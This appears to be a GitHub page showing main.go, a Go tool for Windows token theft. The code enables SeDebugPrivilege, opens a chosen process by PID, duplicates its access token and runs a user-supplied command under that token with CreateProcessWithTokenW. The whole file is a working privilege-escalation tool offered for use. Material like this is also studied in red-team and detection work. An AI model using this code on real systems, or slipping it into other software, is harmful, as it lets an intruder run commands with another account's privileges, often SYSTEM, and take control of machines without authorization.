-
Notifications
You must be signed in to change notification settings - Fork 20
/
main.go
159 lines (139 loc) · 7 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
package main
import (
"flag"
"log"
"syscall"
"unsafe"
)
// References: https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
}
type LuidAndAttributes struct {
luid Luid // LUID
attributes uint32 // DWORD
}
type TokenPrivileges struct {
privilegeCount uint32 // DWORD
privileges [1]LuidAndAttributes
}
var (
// kernel32DLL = syscall.NewLazyDLL("Kernel32.dll")
advapi32DLL = syscall.NewLazyDLL("Advapi32.dll")
// GetCurrentProcess = kernel32DLL.NewProc("GetCurrentProcess") // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess
// OpenProcess = kernel32DLL.NewProc("OpenProcess") // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
// CreateToolhelp32Snapshot = kernel32DLL.NewProc("CreateToolhelp32Snapshot")// https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
// OpenProcessToken = advapi32DLL.NewProc("OpenProcessToken") // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
LookupPrivilegeValueW = advapi32DLL.NewProc("LookupPrivilegeValueW") // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew
AdjustTokenPrivileges = advapi32DLL.NewProc("AdjustTokenPrivileges") // https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
ImpersonateLoggedOnUser = advapi32DLL.NewProc("ImpersonateLoggedOnUser") // https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser
DuplicateTokenEx = advapi32DLL.NewProc("DuplicateTokenEx") // https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
CreateProcessWithTokenW = advapi32DLL.NewProc("CreateProcessWithTokenW") // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
)
const (
// [Access Rights for Access-Token Objects](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects)
TOKEN_QUERY = 0x0008 // Required to query an access token.
TOKEN_DUPLICATE = 0x0002 // Required to duplicate an access token.
TOKEN_ADJUST_PRIVILEGES = 0x0020 // Required to enable or disable the privileges in an access token.
// [Process Security and Access Rights](https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights)
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 // Windows Server 2003 and Windows XP: This access right is not supported.
// [ACCESS_MASK](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b)
MAXIMUM_ALLOWED = 0x02000000
// [SECURITY_IMPERSONATION_LEVEL enumeration](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level)
SecurityImpersonation = 2
// [TOKEN_TYPE enumeration](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_type)
TokenPrimary = 1
// [CreateProcessWithTokenW function](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
LOGON_WITH_PROFILE = 0x00000001
// [CreateToolhelp32Snapshot function](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot)
TH32CS_SNAPPROCESS = 0x00000002
)
func enableSeDebugPrivilege() error {
var CurrentTokenHandle syscall.Token
var tkp TokenPrivileges
// [Privilege Constants (Authorization)](https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants)
SE_DEBUG_NAME := syscall.StringToUTF16Ptr("SeDebugPrivilege")
CurrentProcessHandle, err := syscall.GetCurrentProcess()
if err != nil {
log.Println("[-] GetCurrentProcess() error:", err)
} else {
log.Println("[+] GetCurrentProcess() success")
}
err = syscall.OpenProcessToken(CurrentProcessHandle, TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES, &CurrentTokenHandle)
if err != nil {
log.Println("[-] OpenProcessToken() error:", err)
} else {
log.Println("[+] OpenProcessToken() success")
}
result, _, err := LookupPrivilegeValueW.Call(uintptr(0), uintptr(unsafe.Pointer(SE_DEBUG_NAME)), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
if result != 1 {
log.Println("[-] LookupPrivilegeValue() error:", err)
} else {
log.Println("[+] LookupPrivilegeValue() success")
}
result, _, err = AdjustTokenPrivileges.Call(uintptr(CurrentTokenHandle), 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
if result != 1 {
log.Println("[-] AdjustTokenPrivileges() error:", err)
} else {
log.Println("[+] AdjustTokenPrivileges() success")
}
return err
}
// Reference: https://github.com/yusufqk/SystemToken/blob/master/main.c len 102
func handleProcess(pid uint32) syscall.Handle {
log.Println("[+] OpenProcess() start.")
ProcessHandle, err := syscall.OpenProcess(PROCESS_QUERY_INFORMATION, true, pid)
// log.Println(err)
if err != nil {
ProcessHandle, err = syscall.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid)
if err != nil {
log.Println("[-] OpenProcess() error:", err)
}
} else {
log.Println("[+] OpenProcess() success:", ProcessHandle)
}
return ProcessHandle
}
func runAsToken(TokenHandle uintptr, command *uint16) error {
var NewTokenHandle syscall.Token
var StartupInfo syscall.StartupInfo
var ProcessInformation syscall.ProcessInformation
result, _, err := DuplicateTokenEx.Call(TokenHandle, MAXIMUM_ALLOWED, uintptr(0), SecurityImpersonation, TokenPrimary, uintptr(unsafe.Pointer(&NewTokenHandle)))
if result != 1 {
log.Println("[-] DuplicateTokenEx() error:", err)
} else {
log.Println("[+] DuplicateTokenEx() success")
}
result, _, err = CreateProcessWithTokenW.Call(uintptr(NewTokenHandle), LOGON_WITH_PROFILE, uintptr(0), uintptr(unsafe.Pointer(command)), 0, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&StartupInfo)), uintptr(unsafe.Pointer(&ProcessInformation)))
if result != 1 {
log.Println("[-] CreateProcessWithTokenW() error:", err)
} else {
log.Println("[+] CreateProcessWithTokenW() success")
}
return err
}
func main() {
var pid int
var command string
var TokenHandle syscall.Token
flag.IntVar(&pid, "p", 0, "Target Process PID.")
flag.StringVar(&command, "c", "Aquilao", "Execute Command.")
flag.Parse()
if pid != 0 && command != "." {
log.Println("[+] Process Pid: ", pid)
log.Println("[+] Execute Command: ", command)
enableSeDebugPrivilege()
ProcessHandle := handleProcess(uint32(pid))
err := syscall.OpenProcessToken(ProcessHandle, TOKEN_QUERY|TOKEN_DUPLICATE, &TokenHandle)
if err != nil {
log.Println("[-] OpenProcessToken() error:", err)
} else {
log.Println("[+] OpenProcessToken() success")
}
runAsToken(uintptr(TokenHandle), syscall.StringToUTF16Ptr(command))
} else {
log.Println("[-] Please input pid and command, type \"-h\" see help.")
}
}